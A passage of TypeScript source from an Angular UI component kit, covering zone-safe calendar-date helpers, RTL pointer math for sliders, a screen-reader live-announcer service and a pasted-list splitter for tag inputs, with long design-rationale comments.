svComposeDateTime}, which reports the gaps and the ambiguities\n *  instead of guessing.\n *\n *  -- ★★★ THE ONE PLACE A CALENDAR DATE CANNOT AVOID A TIME ZONE ------------\n *\n *  \"What is today's date?\" There is no zone-free answer: for several hours of\n *  every day, two places on Earth are on different dates. `new Date()` answers\n *  in the BROWSER'S zone, which is the right answer for a personal calendar and\n *  the wrong one for an app pinned to a business zone — a Sydney user booking\n *  against a New York ledger sees tomorrow highlighted as today, and the Today\n *  button writes a date the server will reject.\n *\n *  So {@link svToday} takes a zone, and defaults to the browser's only because\n *  that is what every caller was silently doing before.\n *\n *  -- The seam `FI-09-M4` needs --------------------------------------------\n *\n *  {@link SvDateValueAdapter} is the whole point of naming this now: when\n *  `Temporal.PlainDate` lands, a host swaps the adapter rather than rewriting\n *  its bindings, and the components keep speaking strings.\n * ============================================================================\n */\n\n/**\n * A calendar date as `YYYY-MM-DD` — a date with no time and no zone.\n *\n * ⚠️ THE BRAND IS OPTIONAL, WHICH MEANS IT DOCUMENTS RATHER THAN ENFORCES.\n *    A required brand would make `SvCalendarDate` unassignable from a plain\n *    `string`, and every host binding `[value]=\"'2026-06-15'\"` or a value read\n *    from JSON would need a cast — turning a naming exercise into a breaking\n *    change across the whole kit. With the property optional, the type is\n *    accepted anywhere a string is, and what it buys is that tooling says\n *    `SvCalendarDate` instead of `string` and leads the reader here.\n *\n *    Use {@link svCalendarDate} when you want the shape actually checked.\n */\nexport type SvCalendarDate = string & { readonly __svCalendarDate?: never };\n\n/**\n * A wall-clock time as `HH:mm` or `HH:mm:ss` — no date, no zone.\n *\n * Same optional brand, for the same reason.\n */\nexport type SvWallClockTime = string & { readonly __svWallClockTime?: never };\n\nconst CALENDAR_DATE = /^(\\d{4})-(\\d{2})-(\\d{2})$/;\n\n/**\n * Whether `raw` is a well-formed calendar date that actually exists.\n *\n * ★★ THE SECOND HALF IS THE POINT. `2026-02-30` and `2026-13-01` both match the\n *    pattern, and `new Date('2026-02-30')` rolls quietly over to 2 March —\n *    which is how an invalid date becomes a valid-looking one somewhere\n *    downstream. The round-trip check below rejects them.\n */\nexport function svIsCalendarDate(raw: unknown): raw is SvCalendarDate {\n  if (typeof raw !== 'string') return false;\n  const m = CALENDAR_DATE.exec(raw);\n  if (!m) return false;\n  const [y, mo, d] = [Number(m[1]), Number(m[2]), Number(m[3])];\n  if (mo < 1 || mo > 12 || d < 1 || d > 31) return false;\n  // Built and read in UTC: a local-zone Date for a midnight that does not exist\n  // (Chile, Cuba, Paraguay, Lebanon) normalizes to 01:00 and can land on the\n  // next day, which would fail a date that is perfectly real.\n  const probe = new Date(Date.UTC(y, mo - 1, d));\n  return probe.getUTCFullYear() === y\n    && probe.getUTCMonth() === mo - 1\n    && probe.getUTCDate() === d;\n}\n\n/** `raw` as a calendar date, or `null` when it is not one. */\nexport function svCalendarDate(raw: unknown): SvCalendarDate | null {\n  return svIsCalendarDate(raw) ? raw : null;\n}\n\n/** Build one from parts, with the same existence check. `month` is 1-based. */\nexport function svCalendarDateOf(year: number, month: number, day: number): SvCalendarDate | null {\n  const pad = (n: number, w = 2): string => String(n).padStart(w, '0');\n  return svCalendarDate(`${pad(year, 4)}-${pad(month)}-${pad(day)}`);\n}\n\n/**\n * The calendar date an INSTANT falls on, in `timeZone`.\n *\n * ★★★ THE CONVERSION EVERY CODEBASE GETS WRONG ONCE. `d.toISOString().slice(0, 10)`\n *     is the usual shortcut and it answers in UTC, so for anyone east of\n *     Greenwich in the evening it names yesterday. `d.getFullYear()` and\n *     friends answer in the browser's zone, which is right for a personal\n *     calendar and wrong for an app pinned to a business zone.\n *\n *     This asks, and formats the parts rather than the string, because a\n *     locale's own date format is not `YYYY-MM-DD` and parsing it back would\n *     be guessing at the separator and the order.\n *\n * @param timeZone An IANA zone. Omitted or empty means the browser's own.\n */\nexport function svCalendarDateOfInstant(\n  instant: Date | number,\n  timeZone?: string,\n): SvCalendarDate | null {\n  const d = typeof instant === 'number' ? new Date(instant) : instant;\n  if (Number.isNaN(d.getTime())) return null;\n\n  if (!timeZone) {\n    return svCalendarDateOf(d.getFullYear(), d.getMonth() + 1, d.getDate());\n  }\n\n  try {\n    const parts = new Intl.DateTimeFormat('en-US', {\n      timeZone, year: 'numeric', month: '2-digit', day: '2-digit',\n    }).formatToParts(d);\n    const get = (type: string): number =>\n      Number(parts.find((p) => p.type === type)?.value ?? NaN);\n    return svCalendarDateOf(get('year'), get('month'), get('day'));\n  } catch {\n    // An unknown zone throws. Falling back to the browser's is the same answer\n    // the caller had before asking, and is better than returning null for what\n    // is almost always a typo in a config string.\n    return svCalendarDateOf(d.getFullYear(), d.getMonth() + 1, d.getDate());\n  }\n}\n\n/**\n * Today's calendar date in `timeZone`.\n *\n * ⚠️ There is no zone-free answer, and the default is the browser's zone only\n *    because that is what every caller was silently doing before this function\n *    existed. Pass the zone whose \"today\" your data means.\n */\nexport function svToday(timeZone?: string, now: Date = new Date()): SvCalendarDate {\n  // The fallback cannot fail: `now` is a real date and the parts of a real date\n  // always compose. The `??` is for the type, not for a case that happens.\n  return svCalendarDateOfInstant(now, timeZone) ?? '1970-01-01';\n}\n\n/**\n * Compare two calendar dates.\n *\n * Lexicographic on purpose: `YYYY-MM-DD` sorts correctly as text, which is why\n * the format was chosen, and comparing as `Date` would reintroduce the zone\n * this whole module exists to keep out.\n */\nexport function svCompareCalendarDates(a: SvCalendarDate, b: SvCalendarDate): number {\n  return a < b ? -1 : a > b ? 1 : 0;\n}\n\n/** `date` shifted by whole days, staying a calendar date throughout. */\nexport function svAddCalendarDays(date: SvCalendarDate, days: number): SvCalendarDate | null {\n  const m = CALENDAR_DATE.exec(date);\n  if (!m || !svIsCalendarDate(date)) return null;\n  // UTC arithmetic: a local-zone Date crossing a DST boundary can land on the\n  // wrong day, which is the entire class of bug this module prevents.\n  const probe = new Date(Date.UTC(Number(m[1]), Number(m[2]) - 1, Number(m[3])));\n  probe.setUTCDate(probe.getUTCDate() + days);\n  return svCalendarDateOf(\n    probe.getUTCFullYear(), probe.getUTCMonth() + 1, probe.getUTCDate(),\n  );\n}\n\n/**\n * How a host's own date representation maps onto the kit's.\n *\n * ★★★ THIS IS WHY THE POLICY IS WORTH NAMING RATHER THAN JUST DOCUMENTING.\n *     `FI-09-M4` wants a `Temporal.PlainDate` adapter; a host with a Luxon or\n *     Day.js codebase wants one too. With the seam in place that is an adapter,\n *     and without it it is a rewrite of every binding in the application.\n *\n * ```ts\n * const temporal: SvDateValueAdapter<Temporal.PlainDate> = {\n *   toCalendarDate: (v) => svCalendarDate(v.toString()),\n *   fromCalendarDate: (d) => Temporal.PlainDate.from(d),\n * };\n * ```\n *\n * The components never see `T`. They bind strings, and the host converts at its\n * own edge — which is the only place that knows what `T` is.\n */\nexport interface SvDateValueAdapter<T> {\n  /** `null` for a value that is not a date the kit can render. */\n  toCalendarDate(value: T): SvCalendarDate | null;\n  fromCalendarDate(date: SvCalendarDate): T;\n}\n\n/**\n * The identity adapter, for a host already storing `YYYY-MM-DD` strings.\n *\n * Exported so that code written against the seam has something to pass on day\n * one, rather than the seam being a thing you only reach for during a\n * migration.\n */\nexport const svIsoDateAdapter: SvDateValueAdapter<string> = {\n  toCalendarDate: (value) => svCalendarDate(value),\n  fromCalendarDate: (date) => date,\n};\n","/**\n * Which way the text runs, for the code that has to care.\n *\n * ── The defect this exists for (`FI-24-I2`) ─────────────────────────────────\n *\n * ★★ THE BACKLOG ASKED A QUESTION — \"in an RTL layout, does the right arrow\n *    increase or decrease?\" — and the answer turned out to be the least\n *    interesting part. `sv-slider` is built on a native `<input type=\"range\">`,\n *    and the browser already flips both the thumb and the arrow keys in an RTL\n *    context. **The keyboard was never broken.** What was broken is everything\n *    the component draws and measures AROUND that input:\n *\n *      • the fill bar is `left-0` + `width: N%` — a PHYSICAL left, so it grows\n *        left-to-right while the thumb it is supposed to follow grows\n *        right-to-left. They point at each other.\n *      • the range fill binds `[style.left]` and `[style.right]`, same problem.\n *      • `(clientX - rect.left) / rect.width` reads a fraction from the\n *        physical left edge, so in RTL it reports `0` where the value is `max`.\n *        That fraction picks WHICH HANDLE a click grabs, so the wrong one moves.\n *\n * ★★★ TWO OF THE THREE ARE FIXED BY CSS AND NOT BY THIS FILE.\n *     `inset-inline-start` already means \"the edge text starts at\", and the\n *     browser resolves it. A component that computes its own left/right from a\n *     direction flag is reimplementing something CSS does correctly, and it\n *     will disagree with CSS the moment a parent sets `direction` in a way the\n *     flag does not see.\n *\n *     This helper exists ONLY for the third case — arithmetic on a\n *     `clientX`, which is a physical coordinate with no logical equivalent.\n */\n\n/**\n * `true` when `el` is laid out right-to-left.\n *\n * ★ `getComputedStyle().direction` FIRST, because that is the actual answer:\n *   `direction` inherits and can be set by a stylesheet with no `dir`\n *   attribute anywhere, which an attribute walk would miss entirely.\n *\n * ⚠️ AND THE `dir` ATTRIBUTE WALK AS A FALLBACK, because jsdom's\n *    `getComputedStyle` does not inherit `direction` — it reports `'ltr'` for\n *    an element inside `<div dir=\"rtl\">`. Without the fallback every test of\n *    this is a test of jsdom rather than of the component, and the behaviour\n *    would only ever be exercised in a browser nobody runs in CI.\n *\n * ⚠️ Returns `false` with no element, on the server, and on anything it cannot\n *    read. LTR is the safer wrong answer: it is what the component did before.\n */\nexport function svIsRtl(el: Element | null | undefined): boolean {\n  if (!el || typeof window === 'undefined') return false;\n\n  try {\n    const computed = window.getComputedStyle(el).direction;\n    if (computed === 'rtl') return true;\n  } catch {\n    // A detached node, or a runtime without layout. Fall through to the walk.\n  }\n\n  // `closest` rather than a manual parent loop: it crosses shadow boundaries no\n  // better, but it is the same traversal in one call and it handles the element\n  // itself carrying the attribute.\n  const marked = el.closest?.('[dir]');\n  const dir = marked?.getAttribute('dir')?.toLowerCase();\n  if (dir === 'rtl') return true;\n  if (dir === 'ltr') return false;\n\n  return (\n    document?.documentElement?.getAttribute('dir')?.toLowerCase() === 'rtl' ||\n    document?.dir?.toLowerCase() === 'rtl'\n  );\n}\n\n/**\n * A pointer's position along an element, as `0`…`1` from the LOGICAL start.\n *\n * ★★★ THIS IS THE ONE THING CSS CANNOT DO FOR US. `clientX` is physical and\n *     `getBoundingClientRect().left` is physical; the fraction a slider needs\n *     is logical. In LTR they coincide, which is why `(clientX - rect.left) /\n *     rect.width` looks like it has no direction in it — it has, and the\n *     direction it has is LTR.\n *\n * ⚠️ RETURNS `0` FOR A ZERO-WIDTH ELEMENT rather than `NaN`. A slider measured\n *    before layout, or while `display: none`, would otherwise propagate `NaN`\n *    into a value and out through the form.\n */\nexport function svPointerFraction(clientX: number, el: Element): number {\n  const rect = el.getBoundingClientRect();\n  if (!rect.width) return 0;\n  const fromLeft = (clientX - rect.left) / rect.width;\n  const clamped = Math.max(0, Math.min(1, fromLeft));\n  return svIsRtl(el) ? 1 - clamped : clamped;\n}\n","import { Injectable, inject, DestroyRef } from '@angular/core';\n\n/**\n * How loudly a message is announced.\n *\n * - `polite` — waits for the screen reader to finish what it is saying.\n * - `assertive` — interrupts mid-sentence.\n */\nexport type SvAnnouncePriority = 'polite' | 'assertive';\n\nexport interface SvAnnounceOptions {\n  /** @default 'polite' */\n  readonly priority?: SvAnnouncePriority;\n  /**\n   * Groups messages that supersede one another.\n   *\n   * ★★ THIS IS WHAT \"PROGRESS SUPERSEDES ITS OWN LAST VALUE\" MEANS in code. A\n   *    progress bar moving 41% → 42% → 43% inside one throttle window should\n   *    announce \"43%\" once, not three values the user has already passed.\n   *    Messages sharing a key replace each other while pending; those without\n   *    one are independent and all get through.\n   */\n  readonly key?: string;\n  /**\n   * Minimum gap between two announcements sharing this key. @default 0\n   *\n   * With a key, a message arriving inside the window is held and replaces\n   * whatever was already waiting, so the user hears the LATEST value once the\n   * window closes — never a backlog of stale ones.\n   */\n  readonly throttleMs?: number;\n  /**\n   * Say it even if it is identical to the last message on this region.\n   * @default false\n   *\n   * ★ The default suppression is `OF-01-I4`: a banner re-rendered on every\n   *   change re-announced the same sentence each time. But a REPEAT is\n   *   sometimes the information — \"no results\" after a second failed search\n   *   has to be heard again — so it is one flag away.\n   */\n  readonly force?: boolean;\n}\n\n/** How long two identical messages count as the same announcement. */\nconst DEDUPE_WINDOW_MS = 1_000;\n\n/**\n * One message that actually reached a region — the record `history()` keeps.\n */\nexport interface SvAnnouncement {\n  readonly message: string;\n  readonly priority: SvAnnouncePriority;\n  /** `Date.now()` at the moment it was written. */\n  readonly at: number;\n}\n\n/** How many written messages `history()` remembers. Oldest drop first. */\nconst HISTORY_LIMIT = 50;\n\n/**\n * ★★★ SEMANTIC VARIANT → POLITENESS, IN ONE PLACE, because the kit had two\n *     answers. Toast announced `warning` ASSERTIVELY and Alert Banner\n *     announced it POLITELY — the same severity, the same word, interrupting\n *     the user in one component and not the other. Measured, not assumed:\n *     `toast-host.component.ts` and `alert-banner.component.ts` each carried\n *     their own two-line mapping.\n *\n * ★★ ASSERTIVE IS FOR ERRORS, AND WARNING IS NOT ONE. `assertive` cuts the\n *    screen reader off mid-word, so it is reserved for the cases where\n *    carrying on would cost the user something: a failure, a timeout, a\n *    destructive result. A warning the user is not blocked by does not earn\n *    an interruption. Where the two families disagreed, the quieter answer is\n *    also the correct one.\n */\nexport function svAnnouncePriorityFor(variant: string | null | undefined): SvAnnouncePriority {\n  switch (variant) {\n    case 'error':\n    case 'danger':\n    case 'critical':\n      return 'assertive';\n    default:\n      return 'polite';\n  }\n}\n\ninterface Pending {\n  /** Mutable: a later message for the same key overwrites it in place. */\n  message: string;\n  priority: SvAnnouncePriority;\n  /** Owned by the FIRST held message for this key, and never replaced. */\n  readonly timer: ReturnType<typeof setTimeout>;\n}\n\n/**\n * The one place that speaks to a screen reader.\n *\n * ★★★ THE REGION HAS TO EXIST BEFORE THE TEXT DOES, and that is the defect\n *     this service is built around. Toast and Alert Banner both INSERTED a\n *     node that already carried `aria-live` and its own message — each toast\n *     *was* its own live region, created with the text already inside it.\n *     Assistive technology watches an existing region for changes; a region\n *     that arrives with its content is at the mercy of when the AT happened\n *     to scan, which is why it is the least reliable announcement pattern\n *     there is. Two regions created once, mutated forever, is the pattern\n *     that works. `X-9` / `OF-19-I8`.\n *\n * ★★ AND IT HAS TO OUTLIVE THE COMPONENT. A toast that auto-dismisses after\n *    four seconds takes its own region with it, mid-sentence. These regions\n *    belong to the service, which belongs to the application.\n *\n * ★ Six capabilities, because `X-9` names six: priority (two regions),\n *   deduplication (`DEDUPE_WINDOW_MS`), throttling and replacement (`key` +\n *   `throttleMs`), cancellation (`cancel`, and automatic on the caller's\n *   destruction via `scoped()`), and ownership — which is a RULE, not code:\n *   exactly one owner speaks per event. See `T0-8`: two voices for one wait\n *   is worse than one, because the user hears the same thing twice and\n *   neither says when it ended.\n */\n@Injectable({ providedIn: 'root' })\nexport class SvLiveAnnouncer {\n  private _regions: Record<SvAnnouncePriority, HTMLElement> | null = null;\n  /** Which of a region's two slots holds the current message. */\n  private readonly _slot: Record<SvAnnouncePriority, 0 | 1> = { polite: 0, assertive: 0 };\n  private readonly _last: Record<SvAnnouncePriority, { message: string; at: number }> = {\n    polite: { message: '', at: 0 },\n    assertive: { message: '', at: 0 },\n  };\n  private readonly _pending = new Map<string, Pending>();\n  private readonly _lastKeyed = new Map<string, number>();\n  private readonly _history: SvAnnouncement[] = [];\n\n  /**\n   * Say something.\n   *\n   * Returns `true` when the message reached a region now, `false` when it was\n   * suppressed as a duplicate or held for a throttle window. Tests assert on\n   * this; callers can ignore it.\n   */\n  announce(message: string, options: SvAnnounceOptions = {}): boolean {\n    const text = message.trim();\n    if (!text) return false;\n\n    const priority = options.priority ?? 'polite';\n    const key = options.key;\n    const throttleMs = options.throttleMs ?? 0;\n\n    if (key && throttleMs > 0) {\n      const now = Date.now();\n      const last = this._lastKeyed.get(key) ?? 0;\n      const wait = last + throttleMs - now;\n      if (wait > 0) {\n        // ★★ REPLACE, DO NOT QUEUE — and one timer per key, not one per\n        //    message. The first held message owns the timer, because the\n        //    window started when the message before it was spoken; each later\n        //    one only overwrites the TEXT that timer will read. Writing a new\n        //    timer each time and cancelling the old one behaves identically\n        //    and I had it that way first — the mutation test could not tell\n        //    the two apart, which is how I noticed that the cancel was doing\n        //    nothing the map overwrite was not already doing. One timer is\n        //    the version with no stray timers to reason about.\n        const existing = this._pending.get(key);\n        if (existing) {\n          existing.message = text;\n          existing.priority = priority;\n          return false;\n        }\n        this._pending.set(key, {\n          message: text,\n          priority,\n          timer: setTimeout(() => {\n            const held = this._pending.get(key);\n            this._pending.delete(key);\n            if (held) this._write(held.message, held.priority, true);\n            this._lastKeyed.set(key, Date.now());\n          }, wait),\n        });\n        return false;\n      }\n      this._lastKeyed.set(key, now);\n    }\n\n    return this._write(text, priority, options.force ?? false);\n  }\n\n  /** Drop a keyed message that has not been spoken yet. Idempotent. */\n  cancel(key: string): void {\n    const pending = this._pending.get(key);\n    if (!pending) return;\n    clearTimeout(pending.timer);\n    this._pending.delete(key);\n  }\n\n  /**\n   * An announcer bound to the caller's lifetime.\n   *\n   * ★★ CANCELLATION IS THE CAPABILITY PEOPLE FORGET, and a throttled message\n   *    is exactly where it bites: a progress bar destroyed 200 ms into its\n   *    500 ms window would otherwise announce a percentage for a component\n   *    that no longer exists, about an operation the user has navigated away\n   *    from. Everything this handle holds back is dropped on destroy.\n   *\n   * Must be called in an injection context (a field initializer is ideal).\n   */\n  scoped(): SvScopedAnnouncer {\n    const keys = new Set<string>();\n    inject(DestroyRef).onDestroy(() => {\n      for (const key of keys) this.cancel(key);\n      keys.clear();\n    });\n    return {\n      announce: (message, options = {}) => {\n        if (options.key) keys.add(options.key);\n        return this.announce(message, options);\n      },\n      cancel: (key) => { keys.delete(key); this.cancel(key); },\n    };\n  }\n\n  /** Clear both regions and forget every pending message. Tests and teardown. */\n  reset(): void {\n    for (const [, pending] of this._pending) clearTimeout(pending.timer);\n    this._pending.clear();\n    this._lastKeyed.clear();\n    this._history.length = 0;\n    this._last.polite = { message: '', at: 0 };\n    this._last.assertive = { message: '', at: 0 };\n    if (this._regions) {\n      for (const region of Object.values(this._regions)) region.remove();\n      this._regions = null;\n    }\n  }\n\n  /**\n   * Every message that actually reached a region, oldest first (`N-2`'s test\n   * hook).\n   *\n   * ★★★ \"WHAT DID THE SCREEN READER HEAR\" WAS UNASSERTABLE. `regionFor()`\n   *     shows only the region's CURRENT text, so a burst — three toasts, a\n   *     progress update and an error in one tick — could only ever be checked\n   *     for its last word. Dedupe, throttling and replacement are all claims\n   *     about what was NOT spoken, and a claim about absence needs the whole\n   *     record. This is that record: a dropped duplicate, a throttled value\n   *     that was superseded, and a cancelled held message never appear in it.\n   *\n   * Bounded (the last 50) so a long-lived app does not grow it forever.\n   */\n  history(): readonly SvAnnouncement[] {\n    return this._history.slice();\n  }\n\n  /** Forget the record `history()` keeps, leaving the regions in place. */\n  clearHistory(): void {\n    this._history.length = 0;\n  }\n\n  /** The live region for a priority, for tests. `null` before the first announce. */\n  regionFor(priority: SvAnnouncePriority): HTMLElement | null {\n    return this._regions?.[priority] ?? null;\n  }\n\n  private _write(text: string, priority: SvAnnouncePriority, force: boolean): boolean {\n    const regions = this._ensureRegions();\n    if (!regions) return false;\n\n    const last = this._last[priority];\n    const now = Date.now();\n    if (!force && last.message === text && now - last.at < DEDUPE_WINDOW_MS) return false;\n\n    const region = regions[priority];\n    // ★★ ALTERNATING SLOTS, and the reason is not tidiness. Writing the SAME\n    //    string over a region's text is not a DOM change, so an AT has nothing\n    //    to react to and a deliberate repeat is silently swallowed. Moving the\n    //    text between two child nodes is always a mutation, and `aria-atomic`\n    //    makes the region re-read as a whole either way.\n    //\n    // ⚠️ That the AT then speaks is the one thing no test here can prove —\n    //    jsdom has no accessibility tree. The tests assert the mechanism (the\n    //    text is in the region, the mutation happened, the right region got\n    //    it); the behaviour above is why the mechanism is shaped like this.\n    const next = this._slot[priority] === 0 ? 1 : 0;\n    region.children[next].textContent = text;\n    region.children[this._slot[priority]].textContent = '';\n    this._slot[priority] = next;\n\n    this._last[priority] = { message: text, at: now };\n    this._history.push({ message: text, priority, at: now });\n    if (this._history.length > HISTORY_LIMIT) this._history.shift();\n    return true;\n  }\n\n  private _ensureRegions(): Record<SvAnnouncePriority, HTMLElement> | null {\n    if (this._regions) return this._regions;\n    if (typeof document === 'undefined' || !document.body) return null;   // SSR\n\n    const make = (priority: SvAnnouncePriority): HTMLElement => {\n      const el = document.createElement('div');\n      el.setAttribute('aria-live', priority);\n      el.setAttribute('aria-atomic', 'true');\n      el.setAttribute('data-sv-live-region', priority);\n      // ★ Not `display: none` and not `visibility: hidden` — both remove the\n      //   element from the accessibility tree, which would make the region\n      //   silent. This is the standard visually-hidden clip.\n      el.style.cssText =\n        'position:absolute;width:1px;height:1px;margin:-1px;padding:0;overflow:hidden;' +\n        'clip:rect(0 0 0 0);clip-path:inset(50%);white-space:nowrap;border:0;';\n      el.appendChild(document.createElement('span'));\n      el.appendChild(document.createElement('span'));\n      document.body.appendChild(el);\n      return el;\n    };\n\n    this._regions = { polite: make('polite'), assertive: make('assertive') };\n    return this._regions;\n  }\n}\n\n/** An announcer that forgets its pending messages when its owner is destroyed. */\nexport interface SvScopedAnnouncer {\n  announce(message: string, options?: SvAnnounceOptions): boolean;\n  cancel(key: string): void;\n}\n","/**\n * Pasting a list of things into a control that takes one at a time.\n *\n * ── The defect this exists for (`FI-26-I3` / `FI-26-M3`) ────────────────────\n *\n * ★★★ NEITHER TAG INPUT HAD A PASTE HANDLER AT ALL. Grepped, in both twins:\n *     zero occurrences of `paste` or `clipboard`. So pasting two hundred email\n *     addresses put two hundred addresses in the query box as ONE STRING, and\n *     pressing Enter made a single tag whose label was the entire list — or,\n *     with `allowCreate` off, made nothing and cleared the box.\n *\n * ★★ THE ITEM ASKED \"what happens when a paste of 200 emails hits a limit of\n *    50\". The answer was that the limit never came into it, because the paste\n *    was never a list.\n *\n * ── ★★★ WHY SPLITTING AND DECIDING ARE TWO FUNCTIONS ───────────────────────\n *\n * Splitting is mechanical and belongs to the clipboard: commas, semicolons,\n * newlines, tabs. Deciding is policy and belongs to the control: which of these\n * already exist, how many fit, what counts as valid. A single function would\n * have to take every policy as a parameter and would still be wrong for the\n * next caller.\n */\n\n/**\n * The delimiter set, written down rather than inferred.\n *\n * ⚠️ SPACE IS NOT A DELIMITER, and that is the decision worth defending.\n *    \"Alex Chen\" is one name, and a parser that split on whitespace would turn\n *    every pasted person into two broken tags. Mail clients, spreadsheets and\n *    CSV exports all emit one of the four below.\n *\n * ★ A NEWLINE IS A DELIMITER IN BOTH SPELLINGS. A list copied out of Windows\n *   Notepad arrives `\\r\\n`-separated, and treating `\\r` as content leaves an\n *   invisible character on the end of every entry — which then fails an\n *   equality check against the identical-looking entry already in the list.\n */\nconst DELIMITERS = /[,;\\t\\r\\n]+/;\n\n/**\n * Split pasted text into candidate entries.\n *\n * ★★ QUOTED SEGMENTS SURVIVE THEIR COMMAS. `\"Chen, Alex\" <a@x.com>` is one\n *    entry in every mail client's clipboard format, and splitting inside the\n *    quotes produces two entries, neither of which is an address. This is the\n *    one piece of structure worth knowing about, because it is the one that\n *    silently produces plausible-looking garbage.\n */\nexport function svSplitPastedList(text: string): string[] {\n  const src = String(text ?? '');\n  if (!src.trim()) return [];\n\n  const out: string[] = [];\n  let current = '';\n  let inQuotes = false;\n\n  for (const ch of Array.from(src)) {\n    if (ch === '\"') { inQuotes = !inQuotes; current += ch; continue; }\n    if (!inQuotes && DELIMITERS.test(ch)) {\n      if (current.trim()) out.push(current.trim());\n      current = '';\n      continue;\n    }\n    current += ch;\n  }\n  if (current.trim()) out.push(current.trim());\n  return out;\n}\n\n/**\n * Why an entry did not make it in.\n *\n * ★★ `ambiguous` IS NOT A KIND OF `invalid`. An entry that matched two options\n *    is one the user wrote correctly and the control cannot act on — \"Alex Chen\"\n *    when there are two people called Alex Chen. Telling them it was not\n *    recognised sends them to check their spelling; telling them it matched more\n *    than one sends them to disambiguate it, which is the thing that works.\n */\nexport type SvPasteRejection = 'duplicate' | 'limit' | 'invalid' | 'ambiguous';\n\nexport interface SvPasteListResult {\n  /** Entries that were added, in the order they appeared. */\n  readonly accepted: readonly string[];\n  /** Entries that were not, each with the reason. */\n  readonly rejected: readonly { readonly text: string; readonly reason: SvPasteRejection }[];\n  /** How many entries the text contained. `accepted.length + rejected.length`. */\n  readonly total: number;\n}\n\nexport interface SvApplyPastedOptions {\n  /** What is already in the control. */\n  readonly existing?: readonly string[];\n  /** Cap on the TOTAL, existing included. `0` means no cap. */\n  readonly max?: number;\n  /** What \"already there\" means. Defaults to strict equality. */\n  readonly compare?: (a: string, b: string) => boolean;\n  /** Host's verdict on a single entry. Return `false` to reject it as invalid. */\n  readonly validate?: (entry: string) => boolean;\n  /**\n   * Entries the caller could not resolve to exactly one thing.\n   *\n   * ★★ Checked FIRST, before duplicate and limit, because an entry that cannot\n   *    be resolved is not a candidate for either — reporting it as \"already in\n   *    the list\" would be a claim about a tag that may not exist.\n   */\n  readonly ambiguous?: (entry: string) => boolean;\n}\n\n/**\n * Decide which pasted entries go in, and report every one that does not.\n *\n * ★★★ A PARTIAL ACCEPT IS THE ONLY HONEST ANSWER TO 200-INTO-50. Taking all\n *     200 breaks the host's cap. Taking none punishes the user for the 150 they\n *     could not have known about. Taking 50 silently is the worst of the three,\n *     because the list looks like it worked and 150 addresses are gone. So: 50\n *     in, 150 reported, and the caller says so out loud.\n *\n * ⚠️ ORDER IS PRESERVED AND THE FIRST N WIN. Not \"the ones that fit best\" —\n *    there is no such thing — and not the last N, which would silently prefer\n *    the bottom of a pasted column.\n *\n * ⚠️ A DUPLICATE INSIDE THE PASTE ITSELF IS A DUPLICATE. Pasting the same\n *    address twice adds it once and reports the second; the alternative is two\n *    identical entries, which is the `FI-26-I1` defect arriving by a different\n *    door.\n */\nexport function svApplyPastedList(\n  entries: readonly string[],\n  options: SvApplyPastedOptions = {},\n): SvPasteListResult {\n  const compare = options.compare ?? ((a, b) => a === b);\n  const validate = options.validate;\n  const max = options.max ?? 0;\n\n  const accepted: string[] = [];\n  const rejected: { text: string; reason: SvPasteRejection }[] = [];\n  const taken = [...(options.existing ?? [])];\n\n  const ambiguous = options.ambiguous;\n\n  for (const entry of entries) {\n    if (ambiguous?.(entry)) { rejected.push({ text: entry, reason: 'ambiguous' }); continue; }\n    if (validate && !validate(entry)) { rejected.push({ text: entry, reason: 'invalid' }); continue; }\n    if (taken.some((t) => compare(t, entry))) { rejected.push({ text: entry, reason: 'duplicate' }); continue; }\n    // ★ The cap is checked LAST, so an entry that was going to be rejected as a\n    //   duplicate is reported as a duplicate rather than as the thing that\n    //   happened to be sitting on the boundary.\n    if (max > 0 && taken.length >= max) { rejected.push({ text: entry, reason: 'limit' }); continue; }\n    accepted.push(entry);\n    taken.push(entry);\n  }\n\n  return { accepted, rejected, total: accepted.length + rejected.length };\n}\n\n/**\n * A sentence a person can act on, or `''` when everything went in.\n *\n * ⚠️ `svPasteListSummary`, NOT `svPasteSummary`. That name is already taken in\n *    this package by the HTML sanitiser's own paste report\n *    (`lib/security/html-sanitizer.ts`), which takes a different type entirely.\n *    The first draft of this file used it, and the duplicate `export { … }` in\n *    `public-api.ts` did not throw — the LATER export simply won, so every\n *    caller in `sv-tag-input` silently got the sanitiser's function and every\n *    summary came back `''`. A unit test cannot see that; the runtime just\n *    picks one. `typecheck:all` is what catches it (TS2308).\n *\n * ★★ IT NAMES THE REASONS SEPARATELY. \"150 were not added\" tells somebody\n *    nothing about what to do; \"50 added, 120 over the limit of 50, 30 already\n *    in the list\" tells them to remove some tags or split the paste.\n */\nexport function svPasteListSummary(result: SvPasteListResult, noun = 'item'): string {\n  if (!result.rejected.length) return '';\n  const plural = (n: number): string => `${n} ${noun}${n === 1 ? '' : 's'}`;\n\n  const counts = { duplicate: 0, limit: 0, invalid: 0, ambiguous: 0 };\n  for (const r of result.rejected) counts[r.reason]++;\n\n  const parts: string[] = [`${plural(result.accepted.length)} added`];\n  if (counts.limit) parts.push(`${counts.limit} over the limit`);\n  if (counts.duplicate) parts.push(`${counts.duplicate} already in the list`);\n  if (counts.ambiguous) parts.push(`${counts.ambiguous} matched more than one option`);\n  if (counts.invalid) parts.push(`${counts.invalid} not recognised`);\n  return parts.join(', ') + '.';\n}\n","declare const ngDevMode: boolean | undefined;\n\n/** One warning per key, so a grid of twelve controls logs once. */\nconst warned = new Set<string>();\n\n/**\n * A dev-only warning, emitted at most once per key. Silent in production.\n *\n * ★★ THE `Set` IS THE POINT, NOT THE `console.warn`. A warning that fires on\n *    every change detection in a list of two hundred rows is noise somebody\n *    turns off, and then the next warning is invisible too.\n *\n * ⚠️ NOT A REPLACEMENT FOR A TYPE OR A TEST. It is for the case where the\n *    component can SEE the host has done something contradictory but cannot\n *    fix it, because the thing to fix is on the host's side.\n */\nexport function svWarnOnce(key: string, message: string): void {\n  if (typeof ngDevMode === 'undefined' || !ngDevMode) return;\n  if (warned.has(key)) return;\n  warned.add(key);\n  console.warn(`[styloviz] ${message}`);\n}\n\n/** Test-only: forget what has already been warned about. */\nexport function svResetWarnOnce(): void { warned.clear(); }\n","import { APP_ID, Injectable, inject } from '@angular/core';\n\n/**\n * ============================================================================\n *  Per-application element ids — `X-10`'s SSR half, `T0-2`\n * ============================================================================\n *\n * ── The defect, reproduced rather than assumed ──────────────────────────────\n * Seven navigation packages minted their DOM ids from a **module-level\n * counter** — `let _svTabsUid = 0` and `++_svTabsUid` in a field. Within one\n * instance the two halves of each `aria-controls` / `id` pair always agree, so\n * this was never a live accessibility bug, and `T0-2` was careful to say the SSR\n * exposure was *unproven either way*.\n *\n * It is proven now, and `unique-id.spec.ts` holds the reproduction:\n *\n 